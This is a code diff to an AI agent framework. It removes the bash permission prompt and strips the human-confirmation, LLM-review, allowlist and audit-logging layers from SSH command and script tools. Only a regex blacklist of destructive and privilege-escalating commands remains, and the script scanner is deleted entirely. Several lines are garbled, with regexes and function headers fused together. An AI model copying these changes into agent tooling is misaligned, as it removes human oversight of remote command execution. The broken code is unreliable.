after=HookPipeline.run_session_child_after, ) tool_result = await format_sync_subagent_result( description=description, diff --git a/flocks/tool/code/bash.py b/flocks/tool/code/bash.py index f2d75031d..3fc77cb85 100644 --- a/flocks/tool/code/bash.py +++ b/flocks/tool/code/bash.py @@ -454,9 +454,6 @@ async def _execute_host( if not Instance.contains_path(cwd): await ctx.ask(permission="external_directory", patterns=[cwd], always=[os.path.dirname(cwd) + "*"], metadata={}) - # Request bash permission - await ctx.ask(permission="bash", patterns=[command], always=["*"], metadata={}) - # Initialize metadata ctx.metadata( { @@ -541,9 +538,6 @@ async def _execute_sandboxed( }, ) - # Request bash permission (沙箱内也需要权限) - await ctx.ask(permission="bash", patterns=[command], always=["*"], metadata={"sandbox": True}) - # Initialize metadata ctx.metadata( { diff --git a/flocks/tool/registry.py b/flocks/tool/registry.py index 35d1c3cd7..9d650fba7 100644 --- a/flocks/tool/registry.py +++ b/flocks/tool/registry.py @@ -479,6 +479,8 @@ def __init__( async def execute(self, ctx: ToolContext, **kwargs) -> ToolResult: """Execute the tool with given parameters and context""" try: + raw_kwargs = dict(kwargs) + # Log tool execution start log.info("tool.execute.start", { "tool": self.info.name, @@ -566,8 +568,34 @@ async def execute(self, ctx: ToolContext, **kwargs) -> ToolResult: coerced_kwargs = _coerce_params(effective_kwargs, self.info.parameters, self.info.name) - # Execute handler - result = await self.handler(ctx, **coerced_kwargs) + # Preserve extension-owned ingress context for work created by an + # enclosing lifecycle. Flocks treats this as an opaque carrier; + # installed extensions remain responsible for validating its data. + from flocks.hooks.execution import current_execution_context, execute_with_hooks + from flocks.session.tool_execution import ( + build_session_tool_execution_payload, + ) + + tool_context_extra = dict(ctx.extra) + inherited_context = current_execution_context() + if inherited_context and not isinstance( + tool_context_extra.get("execution_context"), dict + ): + tool_context_extra["execution_context"] = inherited_context + payload = await build_session_tool_execution_payload( + session_id=ctx.session_id, + message_id=ctx.message_id, + agent=ctx.agent, + tool_name=self.info.name, + tool_input=raw_kwargs, + tool_context_extra=tool_context_extra, + execution_domain="execution_runtime", + ) + + result = await execute_with_hooks( + payload, + lambda: self.handler(ctx, **coerced_kwargs), + ) # Auto-truncate output unless the tool already handled it if result.success and not result.truncated: diff --git a/flocks/tool/security/ssh_host_cmd.py b/flocks/tool/security/ssh_host_cmd.py index cd9f3539a..69f48f919 100644 --- a/flocks/tool/security/ssh_host_cmd.py +++ b/flocks/tool/security/ssh_host_cmd.py @@ -1,20 +1,11 @@ -""" -SSH Host Command Tool - Read-only remote forensic command execution +"""SSH command execution primitive with OSS static blacklist guard.""" -Executes commands on remote Linux hosts via SSH with a three-tier safety system: - ① Static rule classifier (ALLOWED / BLOCKED / NEEDS_CONFIRM) - ② LLM safety evaluation for gray-area commands (NEEDS_CONFIRM only) - ③ Human confirmation with 1-minute timeout (LLM-UNCERTAIN only) - -All commands are audit-logged to ~/.flocks/audit/ssh_commands.log. -Users can permanently whitelist commands via ~/.flocks/ssh_allowed_commands.json. -""" +from __future__ import annotations import asyncio -import json +from pathlib import Path import re import time -from pathlib import Path from typing import Optional from flocks.tool.registry import ( @@ -25,33 +16,19 @@ ToolRegistry, ToolResult, ) -from flocks.tool.security.ssh_utils import ( - audit_log, - execute_ssh_command, - resolve_ssh_credentials, -) -from flocks.utils.log import Log - -log = Log.create(service="tool.ssh_host_cmd") +from flocks.tool.security.ssh_utils import execute_ssh_command, resolve_ssh_credentials -# --------------------------------------------------------------------------- -# Constants -# --------------------------------------------------------------------------- MAX_TIMEOUT_S = 120 DEFAULT_TIMEOUT_S = 30 -HUMAN_CONFIRM_TIMEOUT_S = 60 # 1 minute -USER_ALLOWLIST_PATH = Path.home() / ".flocks" / "ssh_allowed_commands.json" -# --------------------------------------------------------------------------- -# Safety: Static rule sets -# --------------------------------------------------------------------------- +class SafetyDecision: + ALLOWED = "ALLOWED" + BLOCKED = "BLOCKED" + -# Commands that are unconditionally blocked (destructive / privilege-escalation). -# Pre-compiled at module level to avoid per-call regex compilation overhead. _BLOCKED_PATTERN_SOURCES = [ - # File destruction / modification r"(?])>>?\s", r"\btee\b", - # Privilege escalation (note: passwd as FILE PATH /etc/passwd is allowed; - # passwd as a COMMAND is caught via BLOCKED_BASE_COMMANDS below) r"(? str: - """Remove single- and double-quoted substrings from *text*. - - Used before blocked-pattern regex matching so that operators inside - quotes (e.g. ``awk '{if ($1 > 0) print}'``) are not misclassified - as write redirections. - """ return re.sub(r"""'[^']*'|"[^"]*\"""", " ", text) -def _split_pipeline(command: str) -> list[str]: - """Split a compound shell command into individual sub-commands. +def _unescape_unquoted(text: str) -> str: + """Normalize shell escapes that form executable names or operators.""" + return re.sub(r"\\(.)", r"\1", text, flags=re.DOTALL) + - Respects single and double quotes so that delimiters inside quoted - strings (e.g. ``grep "a|b" file``) are not treated as split points. - """ +def _split_pipeline(command: str) -> list[str]: in_single = False in_double = False segments: list[str] = [] current: list[str] = [] i = 0 - n = len(command) - - while i < n: + while i < len(command): c = command[i] if c == "'" and not in_double: in_single = not in_single @@ -217,329 +99,144 @@ def _split_pipeline(command: str) -> list[str]: in_double = not in_double current.append(c) elif not in_single and not in_double: - if c == '|' or c == ';': + if c in {"|", ";"}: segments.append("".join(current).strip()) current = [] - elif c == '&' and i + 1 < n and command[i + 1] == '&': + elif c == "&" and i + 1 < len(command) and command[i + 1] == "&": segments.append("".join(current).strip()) current = [] - i += 1 # skip second & + i += 1 else: current.append(c) else: current.append(c) i += 1 - segments.append("".join(current).strip()) - return [s for s in segments if s] + return [segment for segment in segments if segment] def _get_base_command(segment: str) -> str: - """Extract the base command name from a shell segment.""" - # Strip one or more leading env var assignments: LANG=C LC_ALL=C cmd → cmd segment = re.sub(r"^\s*(?:\w+=\S+\s+)+", "", segment).strip() tokens = segment.split() if not tokens: return "" - return Path(tokens[0]).name # handle /usr/bin/ps → ps - - -def _is_systemctl_readonly(segment: str) -> bool: - tokens = segment.split() - if len(tokens) < 2: - return True - subcmd = tokens[1].lstrip("-") - return subcmd in SYSTEMCTL_READONLY - - -def _is_pkg_cmd_readonly(segment: str) -> bool: - tokens = segment.split() - if len(tokens) < 2: - return True - base = Path(tokens[0]).name - # pip/pip3: check positional subcommand (pip list, pip show, pip freeze …) - if base in {"pip", "pip3"}: - subcmd = tokens[1] if not tokens[1].startswith("-") else None - if subcmd and subcmd in PIP_READONLY_SUBCMDS: - return True - # Also allow flag-only variants: pip --version - return all(t.startswith("-") for t in tokens[1:]) - # dpkg / rpm / gem / npm: check flag-based readonly markers - for t in tokens[1:]: - if t.startswith("-") and t in PKG_READONLY: - return True - if not t.startswith("-"): - break - return False - - -def _classify_segment(segment: str) -> str: - """Classify a single pipeline segment.""" - # Strip quoted content so that operators inside strings - # (e.g. awk '{if ($1 > 0) print}') are not mis-detected. - stripped = _strip_quoted(segment) - for compiled_re in BLOCKED_PATTERNS: - if compiled_re.search(stripped): - return SafetyDecision.BLOCKED - - base = _get_base_command(segment) - if not base: - return SafetyDecision.ALLOWED - - # Check base command against unconditional blocklist - if base in BLOCKED_BASE_COMMANDS: - return SafetyDecision.BLOCKED - - # Special handling for systemctl - if base == "systemctl": - return SafetyDecision.ALLOWED if _is_systemctl_readonly(segment) else SafetyDecision.BLOCKED - - # Special handling for dpkg / rpm / pip / npm - if base in {"dpkg", "rpm", "pip", "pip3", "npm", "gem"}: - return SafetyDecision.ALLOWED if _is_pkg_cmd_readonly(segment) else SafetyDecision.BLOCKED - - # Special handling for crontab - if base == "crontab": - # crontab -l is OK; -e/-r are not - if re.search(r"\bcrontab\s+(-l|--list)\b", segment): - return SafetyDecision.ALLOWED - return SafetyDecision.BLOCKED - - # Special handling for at - if base == "at": - if re.search(r"\bat\s+-l\b|\batq\b", segment): - return SafetyDecision.ALLOWED - return SafetyDecision.BLOCKED - - if base in NEEDS_CONFIRM_BASE_COMMANDS: - return SafetyDecision.NEEDS_CONFIRM - - if base in ALLOWED_BASE_COMMANDS: - return SafetyDecision.ALLOWED - - # Unknown command → NEEDS_CONFIRM (conservative) - return SafetyDecision.NEEDS_CONFIRM - - -def classify_command(command: str, user_allowlist: set[str]) -> tuple[str, str]: - """ - Classify the full command string. - - Returns: - (decision, reason) where decision is ALLOWED / BLOCKED / NEEDS_CONFIRM - """ - # Check user persistent allowlist first - command_stripped = command.strip() - if command_stripped in user_allowlist: - return SafetyDecision.ALLOWED, "user-allowlist" - - segments = _split_pipeline(command) - decisions = [] - for seg in segments: - d = _classify_segment(seg) - decisions.append((d, seg)) - - # Most restrictive wins - if any(d == SafetyDecision.BLOCKED for d, _ in decisions): - blocked_segs = [s for d, s in decisions if d == SafetyDecision.BLOCKED] - return SafetyDecision.BLOCKED, f"blocked segment(s): {blocked_segs}" - - if any(d == SafetyDecision.NEEDS_CONFIRM for d, _ in decisions): - confirm_segs = [s for d, s in decisions if d == SafetyDecision.NEEDS_CONFIRM] - return SafetyDecision.NEEDS_CONFIRM, f"gray-area segment(s): {confirm_segs}" - + return Path(tokens[0]).name + + +def classify_command(command: str) -> tuple[str, str]: + decisions: list[tuple[str, str]] = [] + for segment in _split_pipeline(command): + stripped = _unescape_unquoted(_strip_quoted(segment)) + if any(pattern.search(stripped) for pattern in _BLOCKED_PATTERNS): + decisions.append((SafetyDecision.BLOCKED, segment)) + continue + base = _get_base_command(segment) + if base in _BLOCKED_BASE_COMMANDS: + decisions.append((SafetyDecision.BLOCKED, segment)) + continue + decisions.append((SafetyDecision.ALLOWED, segment)) + if any(decision == SafetyDecision.BLOCKED for decision, _ in decisions): + blocked_segments = [segment for decision, segment in decisions if decision == SafetyDecision.BLOCKED] + return SafetyDecision.BLOCKED, f"blocked segment(s): {blocked_segments}" return SafetyDecision.ALLOWED, "static-rule" -# --------------------------------------------------------------------------- -# User allowlist persistence -# --------------------------------------------------------------------------- - -def _load_user_allowlist() -> set[str]: - if USER_ALLOWLIST_PATH.exists(): - try: - data = json.loads(USER_ALLOWLIST_PATH.read_text()) - return set(data.get("commands", [])) - except Exception: - pass - return set() - +async def execute_ssh_host_command( + ctx: ToolContext, + *, + host: str, + command: str, + username: Optional[str] = None, + port: int = 22, + key_path: Optional[str] = None, + password: Optional[str] = None, + timeout: int = DEFAULT_TIMEOUT_S, + dry_run: bool = False, +) -> ToolResult: + """Execute the supplied SSH command after OSS blacklist validation.""" -def _save_to_user_allowlist(command: str) -> None: - USER_ALLOWLIST_PATH.parent.mkdir(parents=True, exist_ok=True) - existing = _load_user_allowlist() - existing.add(command.strip()) - USER_ALLOWLIST_PATH.write_text( - json.dumps({"commands": sorted(existing)}, indent=2, ensure_ascii=False) + start_ms = int(time.time() * 1000) + username, key_path, password = resolve_ssh_credentials( + username, key_path, password ) + timeout = min(max(1, timeout), MAX_TIMEOUT_S) + safety_decision, safety_reason = classify_command(command) - -# Backward-compatible alias so internal callers and tests keep working. -_audit_log = audit_log - - -# --------------------------------------------------------------------------- -# LLM safety evaluation -# --------------------------------------------------------------------------- - -async def _llm_evaluate_command(command: str) -> tuple[str, str]: - """ - Ask the configured LLM to evaluate whether a command is safe for forensic use. - - Input: command string only (no host output, to prevent prompt injection). - Returns: (decision, reason) where decision is SAFE / UNSAFE / UNCERTAIN. - """ - try: - from flocks.provider.manager import ProviderManager - from flocks.config.config import Config - - llm = await Config.resolve_default_llm() - if not llm: - return "UNCERTAIN", "no LLM configured" - - provider = await ProviderManager.get(llm["provider_id"]) - - system_prompt = ( - "You are a security command safety evaluator. " - "Given a shell command intended for read-only forensic investigation of a potentially compromised Linux host, " - "determine if it is safe to execute.\n\n" - "Rules:\n" - "- SAFE: the command only reads system state (processes, files, network, logs) without modifying anything\n" - "- UNSAFE: the command could modify, delete, or damage the system in any way\n" - "- UNCERTAIN: you cannot determine safety with confidence\n\n" - "Respond with exactly one line in this format:\n" - "DECISION: \n" - "REASON: \n\n" - "Do NOT include any other text." + if safety_decision == SafetyDecision.BLOCKED: + return ToolResult( + success=False, + error=f"[BLOCKED] Command rejected by OSS safety blacklist: {safety_reason}", + metadata={"safety_decision": safety_decision, "safety_reason": safety_reason}, ) - messages = [{"role": "user", "content": f"Command to evaluate:\n```\n{command}\n```"}] - - response_text = "" - async for event in provider.chat_stream( - model=llm["model_id"], - system=system_prompt, - messages=messages, - max_tokens=100, - temperature=0.0, - ): - if event.get("type") == "content_delta": - response_text += event.get("text", "") - - # Parse response - decision = "UNCERTAIN" - reason = "parse error" - for line in response_text.strip().splitlines(): - if line.startswith("DECISION:"): - raw = line.split(":", 1)[1].strip().upper() - if raw in ("SAFE", "UNSAFE", "UNCERTAIN"): - decision = raw - elif line.startswith("REASON:"): - reason = line.split(":", 1)[1].strip() - - return decision, reason - - except Exception as e: - log.warn("ssh_host_cmd.llm_eval_failed", {"error": str(e)}) - return "UNCERTAIN", f"LLM eval error: {e}" - - -# --------------------------------------------------------------------------- -# Human confirmation with timeout -# --------------------------------------------------------------------------- - -_CONFIRM_ALLOW_ONCE = "仅此次允许" -_CONFIRM_ALLOW_ALWAYS = "允许并加入永久白名单" -_CONFIRM_DENY = "拒绝执行" - - -async def _ask_human_with_timeout( - ctx: ToolContext, - command: str, - llm_reason: str, - timeout_s: int = HUMAN_CONFIRM_TIMEOUT_S, -) -> tuple[str, bool]: - """ - Ask the human to confirm a command via the ``question`` tool. + if dry_run: + return ToolResult( + success=True, + output={ + "dry_run": True, + "command": command, + "safety_decision": safety_decision, + "reason": safety_reason, + }, + metadata={"host": host, "username": username, "port": port}, + ) - Returns (decision, add_to_allowlist). - Automatically rejects after *timeout_s* seconds. - """ try: - result = await asyncio.wait_for( - ToolRegistry.execute( - "question", - ctx=ctx, - questions=[{ - "question": ( - f"SSH命令安全确认\n\n" - f"命令：`{command}`\n" - f"原因：{llm_reason}\n\n" - f"是否允许执行？（{timeout_s // 60}分钟内无响应将自动拒绝）" - ), - "type": "choice", - "options": [ - {"label": _CONFIRM_ALLOW_ONCE}, - {"label": _CONFIRM_ALLOW_ALWAYS}, - {"label": _CONFIRM_DENY}, - ], - }], - ), - timeout=timeout_s, + exit_code, stdout, stderr = await execute_ssh_command( + host=host, + command=command, + username=username, + port=port, + key_path=key_path, + password=password, + timeout_s=timeout, + session_id=ctx.session_id, ) + except Exception as exc: + error = ( + f"Command timed out after {timeout}s" + if isinstance(exc, asyncio.TimeoutError) + else f"SSH connection failed: {exc}" + ) + return ToolResult(success=False, error=error) - if not result.success: - return "denied", False - - answers = result.metadata.get("answers", []) - if not answers or not answers[0]: - return "denied", False - - selected = answers[0][0] - if selected == _CONFIRM_ALLOW_ALWAYS: - return "approved", True - elif selected == _CONFIRM_ALLOW_ONCE: - return "approved", False - else: - return "denied", False - - except asyncio.TimeoutError: - return "timeout", False - except Exception: - return "denied", False - + elapsed = int(time.time() * 1000) - start_ms + output = stdout + if stderr: + output += f"\n[stderr]\n{stderr}" + return ToolResult( + success=exit_code == 0, + output=output or "(no output)", + error=None if exit_code == 0 else f"Command exited with code {exit_code}", + metadata={ + "host": host, + "username": username, + "port": port, + "exit_code": exit_code, + "elapsed_ms": elapsed, + }, + ) -# --------------------------------------------------------------------------- -# Tool registration -# --------------------------------------------------------------------------- @ToolRegistry.register_function( name="ssh_host_cmd", - description=( - "Execute read-only forensic commands on a remote Linux host via SSH. " - "Use this tool during security investigations to check for compromise indicators, " - "trace attack paths, analyze processes, network connections, logs, and persistence mechanisms. " - "All commands are safety-checked before execution: destructive operations are automatically blocked. " - "Supports multi-round interaction — call repeatedly to investigate based on previous findings." - ), + description="Execute a command on a remote Linux host via SSH.", category=ToolCategory.TERMINAL, parameters=[ ToolParameter( name="host", type=ParameterType.STRING, description="Target host IP address or hostname", - required=True, ), ToolParameter( name="command", type=ParameterType.STRING, - description="Read-only forensic command to execute (e.g. 'ps aux', 'ss -tunap', 'cat /var/log/auth.log')", - required=True, + description="Command to execute on the remote host", ), ToolParameter( name="username", type=ParameterType.STRING, - description="SSH username. Falls back to SecretManager 'ssh_default_user' if omitted.", + description="SSH username", required=False, default=None, ), @@ -553,28 +250,28 @@ async def _ask_human_with_timeout( ToolParameter( name="key_path", type=ParameterType.STRING, - description="Path to SSH private key file. Falls back to SecretManager 'ssh_default_key_path' or SSH agent.", + description="Path to SSH private key", required=False, default=None, ), ToolParameter( name="password", type=ParameterType.STRING, - description="SSH password (prefer key-based auth). Falls back to SecretManager 'ssh_default_password'.", + description="SSH password", required=False, default=None, ), ToolParameter( name="timeout", type=ParameterType.INTEGER, - description=f"Command execution timeout in seconds (default {DEFAULT_TIMEOUT_S}, max {MAX_TIMEOUT_S})", + description="Timeout in seconds", required=False, default=DEFAULT_TIMEOUT_S, ), ToolParameter( name="dry_run", type=ParameterType.BOOLEAN, - description="If true, only check command safety without executing. Returns the safety decision.", + description="Return the request without executing it", required=False, default=False, ), @@ -591,156 +288,19 @@ async def ssh_host_cmd( timeout: int = DEFAULT_TIMEOUT_S, dry_run: bool = False, ) -> ToolResult: - """Execute a read-only forensic command on a remote Linux host via SSH.""" - start_ms = int(time.time() * 1000) - - username, key_path, password = resolve_ssh_credentials(username, key_path, password) - timeout = min(max(1, timeout), MAX_TIMEOUT_S) - - # ── ① Static rule classification ───────────────────────────────────── - user_allowlist = _load_user_allowlist() - decision, reason = classify_command(command, user_allowlist) - - if decision == SafetyDecision.BLOCKED: - _audit_log( - session_id=ctx.session_id, - host=host, username=username, port=port, - command=command, - decision="BLOCKED", source="static-rule", - ) - return ToolResult( - success=False, - output=None, - error=f"[BLOCKED] Command rejected by safety policy: {reason}. Use only read-only forensic commands.", - ) - - # ── ② LLM evaluation for gray-area commands ────────────────────────── - llm_source = "static-rule" - if decision == SafetyDecision.NEEDS_CONFIRM: - llm_decision, llm_reason = await _llm_evaluate_command(command) - - if llm_decision == "UNSAFE": - _audit_log( - session_id=ctx.session_id, - host=host, username=username, port=port, - command=command, - decision="BLOCKED", source="LLM-blocked", - ) - return ToolResult( - success=False, - output=None, - error=f"[BLOCKED by LLM] {llm_reason}", - ) + """Registry handler for SSH execution with OSS blacklist guard.""" - if llm_decision == "SAFE": - llm_source = "LLM-approved" - decision = SafetyDecision.ALLOWED - - else: # UNCERTAIN → ③ human confirmation - human_decision, add_to_allowlist = await _ask_human_with_timeout( - ctx, command, llm_reason - ) - - if human_decision == "timeout": - _audit_log( - session_id=ctx.session_id, - host=host, username=username, port=port, - command=command, - decision="BLOCKED", source="timeout-5min", - ) - return ToolResult( - success=False, - output=None, - error="[BLOCKED] Human confirmation timed out (1 minute). Command rejected for safety.", - ) - - if human_decision == "denied": - _audit_log( - session_id=ctx.session_id, - host=host, username=username, port=port, - command=command, - decision="BLOCKED", source="human-rejected", - ) - return ToolResult( - success=False, - output=None, - error="[BLOCKED] User rejected command execution.", - ) - - # Approved by human - if add_to_allowlist: - _save_to_user_allowlist(command) - llm_source = "human-approved+allowlisted" - else: - llm_source = "human-approved" - decision = SafetyDecision.ALLOWED - - # ── Dry run ────────────────────────────────────────────────────────── - if dry_run: - return ToolResult( - success=True, - output={ - "dry_run": True, - "command": command, - "safety_decision": decision, - "reason": reason, - "source": llm_source, - }, - ) - - # ── Execute via SSH (with session-level connection pooling) ────────── - try: - exit_code, stdout, stderr = await execute_ssh_command( - host=host, - command=command, - username=username, - port=port, - key_path=key_path, - password=password, - timeout_s=timeout, - session_id=ctx.session_id, - ) - except (asyncio.TimeoutError, Exception) as e: - elapsed = int(time.time() * 1000) - start_ms - _audit_log( - session_id=ctx.session_id, - host=host, username=username, port=port, - command=command, - decision="ALLOWED", source=llm_source, - exit_code=-1, output_bytes=0, elapsed_ms=elapsed, - ) - error_msg = ( - f"Command timed out after {timeout}s" - if isinstance(e, asyncio.TimeoutError) - else f"SSH connection failed: {e}" - ) - return ToolResult(success=False, output=None, error=error_msg) - - elapsed = int(time.time() * 1000) - start_ms - combined_output = stdout - if stderr: - combined_output += f"\n[stderr]\n{stderr}" - - _audit_log( - session_id=ctx.session_id, - host=host, username=username, port=port, + return await execute_ssh_host_command( + ctx, + host=host, command=command, - decision="ALLOWED", source=llm_source, - exit_code=exit_code, - output_bytes=len(combined_output.encode()), - elapsed_ms=elapsed, + username=username, + port=port, + key_path=key_path, + password=password, + timeout=timeout, + dry_run=dry_run, ) - return ToolResult( - success=(exit_code == 0), - output=combined_output or "(no output)", - error=None if exit_code == 0 else f"Command exited with code {exit_code}", - metadata={ - "host": host, - "username": username, - "port": port, - "exit_code": exit_code, - "elapsed_ms": elapsed, - "safety_source": llm_source, - }, - ) + +__all__ = ["execute_ssh_host_command", "ssh_host_cmd"] diff --git a/flocks/tool/security/ssh_run_script.py b/flocks/tool/security/ssh_run_script.py index b95b76819..5a9c0b624 100644 --- a/flocks/tool/security/ssh_run_script.py +++ b/flocks/tool/security/ssh_run_script.py @@ -1,26 +1,12 @@ -""" -SSH Run Script Tool - -Executes a local shell script on a remote Linux host via SSH in a single -connection. Designed for forensic data collection using user-visible, -user-editable scripts stored in skill directories. +"""Neutral SSH script execution primitive. -Key differences from ssh_host_cmd: - - Runs an entire script file (not ad-hoc commands) - - Script is read from the local filesystem (skill directory) - - Pre-flight safety scan checks for destructive operations - - Parses ### SECTION_NAME ### markers into structured output - - No CommandSafetyChecker interactive approval — responsibility lies - with the script author (user-editable scripts are trusted by design - after the automated safety scan passes) - -Typical usage: - ssh_run_script(host="10.0.0.1", script_path=".flocks/plugins/agents/host-forensics/scripts/triage.sh") - ssh_run_script(host="10.0.0.1", script_path=".flocks/plugins/agents/host-forensics/scripts/deep_scan.sh", timeout=300) +Flocks supplies file handling and remote execution only. Script analysis, +approval, audit semantics, and enforcement are FlocksPro responsibilities. """ +from __future__ import annotations + import asyncio -import re import time from pathlib import Path from typing import Optional @@ -33,110 +19,18 @@ ToolRegistry, ToolResult, ) -from flocks.tool.security.ssh_utils import audit_log, execute_ssh_command, resolve_ssh_credentials -from flocks.utils.log import Log +from flocks.tool.security.ssh_utils import execute_ssh_command, resolve_ssh_credentials -log = Log.create(service="tool.ssh_run_script") DEFAULT_TIMEOUT_S = 60 MAX_TIMEOUT_S = 600 -MAX_OUTPUT_BYTES = 80_000 # ~80KB - -# --------------------------------------------------------------------------- -# Pre-flight safety scanner -# --------------------------------------------------------------------------- - -# Patterns that indicate write / destructive / privilege-escalating operations. -# Applied line-by-line after stripping comments and quoted substrings. -_DANGEROUS_PATTERN_SOURCES = [ - # File deletion / overwrite - (r"(? file` and `>> file`. - # Excludes `> /dev/null` and `>> /dev/null` (harmless output discard). - # We strip quoted strings first so awk/sed patterns don't trigger. - (r"(?])>>?\s+(?!/dev/null)\S", "write redirection (> or >>)"), - (r"\btee\b", "file write via tee"), - # Permission / ownership changes - (r"\bchmod\b", "permission change (chmod)"), - (r"\bchown\b", "ownership change (chown)"), - (r"\bchattr\b", "attribute change (chattr)"), - # File creation / move - (r"\btouch\b", "file creation (touch)"), - (r"\bmkdir\b", "directory creation (mkdir)"), - (r"\bmv\b\s", "file move (mv)"), - (r"\bcp\b\s", "file copy (cp)"), - (r"\bln\b\s", "symlink/hardlink (ln)"), - # Privilege escalation - (r"(? str: - """Remove single- and double-quoted substrings to avoid false positives.""" - return re.sub(r"""'[^']*'|"[^"]*\"""", " ", text) - - -def _scan_script_safety(script_content: str) -> list[str]: - """ - Scan script content for dangerous operations line by line. - - Returns a list of human-readable violation descriptions. - Empty list means the script passed all checks. - """ - violations: list[str] = [] - for lineno, raw_line in enumerate(script_content.splitlines(), start=1): - stripped = raw_line.strip() - # Skip blank lines and comment lines - if not stripped or stripped.startswith("#"): - continue - # Strip inline comments (heuristic: # preceded by whitespace) - code_part = re.sub(r"\s+#.*$", "", stripped) - # Strip quoted content to avoid false positives on string literals - scannable = _strip_quoted(code_part) - for pattern, description in _DANGEROUS_PATTERNS: - if pattern.search(scannable): - violations.append(f" Line {lineno}: {description} — `{stripped[:120]}`") - break # one violation per line is enough - return violations - - -# --------------------------------------------------------------------------- -# Output post-processing -# --------------------------------------------------------------------------- - def _extract_sections(output: str) -> dict[str, str]: - """Parse '### SECTION_NAME ###' markers into a dict.""" sections: dict[str, str] = {} current_section = "HEADER" current_lines: list[str] = [] - for line in output.splitlines(): if line.startswith("### ") and line.endswith(" ###"): sections[current_section] = "\n".join(current_lines).strip() @@ -144,13 +38,11 @@ def _extract_sections(output: str) -> dict[str, str]: current_lines = [] else: current_lines.append(line) - sections[current_section] = "\n".join(current_lines).strip() return sections def _truncate_output(output: str, max_bytes: int = MAX_OUTPUT_BYTES) -> tuple[str, bool]: - """Truncate output to max_bytes, preserving line boundaries.""" encoded = output.encode("utf-8", errors="replace") if len(encoded) <= max_bytes: return output, False @@ -161,48 +53,96 @@ def _truncate_output(output: str, max_bytes: int = MAX_OUTPUT_BYTES) -> tuple[st return truncated + "\n\n[... output truncated, remaining data omitted ...]", True -# --------------------------------------------------------------------------- -# Tool registration -# --------------------------------------------------------------------------- +async def execute_ssh_script_content( + ctx: ToolContext, + *, + host: str, + script_content: str, + script_label: str, + username: Optional[str] = None, + port: int = 22, + key_path: Optional[str] = None, + password: Optional[str] = None, + timeout: int = DEFAULT_TIMEOUT_S, + script_path: str | None = None, +) -> ToolResult: + """Execute supplied script content without rereading or interpreting it.""" + + if not script_content.strip(): + return ToolResult(success=False, error="Script content is empty.") + + start_ms = int(time.time() * 1000) + username, key_path, password = resolve_ssh_credentials( + username, key_path, password + ) + timeout = min(max(10, timeout), MAX_TIMEOUT_S) + try: + exit_code, stdout, stderr = await execute_ssh_command( + host=host, + command=script_content, + username=username, + port=port, + key_path=key_path, + password=password, + timeout_s=timeout, + session_id=ctx.session_id, + ) + except Exception as exc: + error = ( + f"Script '{script_label}' timed out after {timeout}s" + if isinstance(exc, asyncio.TimeoutError) + else f"SSH connection failed: {exc}" + ) + return ToolResult(success=False, error=error) + + elapsed = int(time.time() * 1000) - start_ms + raw_output = stdout + (f"\n[stderr]\n{stderr}" if stderr else "") + truncated_output, was_truncated = _truncate_output(raw_output) + sections = _extract_sections(truncated_output) + summary = ( + "=== SCRIPT EXECUTION SUMMARY ===\n" + f"Script: {script_label} | Host: {host} | User: {username} | Elapsed: {elapsed}ms\n" + f"Exit code: {exit_code} | Sections collected: {len([k for k in sections if k not in ('HEADER', '')])}\n\n" + "=== FULL OUTPUT ===\n" + ) + return ToolResult( + success=exit_code == 0, + output=summary + truncated_output, + error=None if exit_code == 0 else f"Script exited with code {exit_code}", + metadata={ + "host": host, + "username": username, + "port": port, + "script": script_label, + "script_path": script_path, + "exit_code": exit_code, + "elapsed_ms": elapsed, + "output_bytes_raw": len(raw_output.encode()), + "output_truncated": was_truncated, + "sections_collected": [key for key in sections if key not in ("HEADER", "")], + }, + ) + @ToolRegistry.register_function( name="ssh_run_script", - description=( - "Execute a local shell script on a remote Linux host via SSH in a single connection. " - "The script is read from the local filesystem (typically a skill's scripts/ directory), " - "safety-scanned for destructive operations, then executed on the remote host.\n\n" - "WHEN TO USE: When following a skill or plugin agent that defines forensic investigation scripts " - "(e.g. .flocks/plugins/agents/host-forensics/scripts/triage.sh). " - "The script runs as a single SSH session — efficient for batch data collection.\n\n" - "OUTPUT: Structured text with ### SECTION_NAME ### markers for each category of " - "collected data. If any dangerous operations (rm, chmod, write redirections, etc.) " - "are detected in the script, execution is blocked and violations are reported.\n\n" - "SCRIPT PATH: Prefer a path relative to the current working directory (workspace root), " - "e.g. '.flocks/plugins/agents/host-forensics/scripts/triage.sh'. " - "Absolute paths and '~' home-directory paths are also accepted." - ), + description="Execute a local shell script on a remote Linux host via SSH.", category=ToolCategory.TERMINAL, parameters=[ ToolParameter( name="host", type=ParameterType.STRING, description="Target host IP address or hostname", - required=True, ), ToolParameter( name="script_path", type=ParameterType.STRING, - description=( - "Path to the local .sh script to execute on the remote host. " - "Relative paths are resolved from the current working directory (workspace root). " - "Example: .flocks/plugins/agents/host-forensics/scripts/triage.sh" - ), - required=True, + description="Local script path", ), ToolParameter( name="username", type=ParameterType.STRING, - description="SSH username. Falls back to SecretManager 'ssh_default_user' if omitted.", + description="SSH username", required=False, default=None, ), @@ -216,22 +156,21 @@ def _truncate_output(output: str, max_bytes: int = MAX_OUTPUT_BYTES) -> tuple[st ToolParameter( name="key_path", type=ParameterType.STRING, - description="Path to SSH private key file. Falls back to SecretManager 'ssh_default_key_path' or SSH agent.", + description="Path to SSH private key", required=False, default=None, ), ToolParameter( name="password", type=ParameterType.STRING, - description="SSH password (prefer key-based auth).", + description="SSH password", required=False, default=None, ), ToolParameter( name="timeout", type=ParameterType.INTEGER, - description=f"Script execution timeout in seconds (default {DEFAULT_TIMEOUT_S}, max {MAX_TIMEOUT_S}). " - "Use a higher value (e.g. 300) for deep_scan.sh which runs more commands.", + description="Timeout in seconds", required=False, default=DEFAULT_TIMEOUT_S, ), @@ -247,134 +186,30 @@ async def ssh_run_script( password: Optional[str] = None, timeout: int = DEFAULT_TIMEOUT_S, ) -> ToolResult: - """ - Read a local shell script, safety-scan it, and execute it on a remote - host via SSH. Returns structured output parsed by ### SECTION ### markers. - """ - start_ms = int(time.time() * 1000) + """Read a script once and pass its content to the neutral executor.""" - # Resolve script path (relative to cwd = workspace root) resolved_path = Path(script_path).expanduser() if not resolved_path.is_absolute(): resolved_path = Path.cwd() / resolved_path - - if not resolved_path.exists(): - return ToolResult( - success=False, - output=None, - error=( - f"Script not found: {resolved_path}\n" - "Expected a path relative to workspace root, e.g. " - ".flocks/plugins/agents/host-forensics/scripts/triage.sh" - ), - ) - - if not resolved_path.is_file(): - return ToolResult( - success=False, - output=None, - error=f"Path is not a file: {resolved_path}", - ) - - # Read script content try: + if not resolved_path.is_file(): + return ToolResult(success=False, error=f"Script not found: {resolved_path}") script_content = resolved_path.read_text(encoding="utf-8") - except OSError as e: - return ToolResult(success=False, output=None, error=f"Cannot read 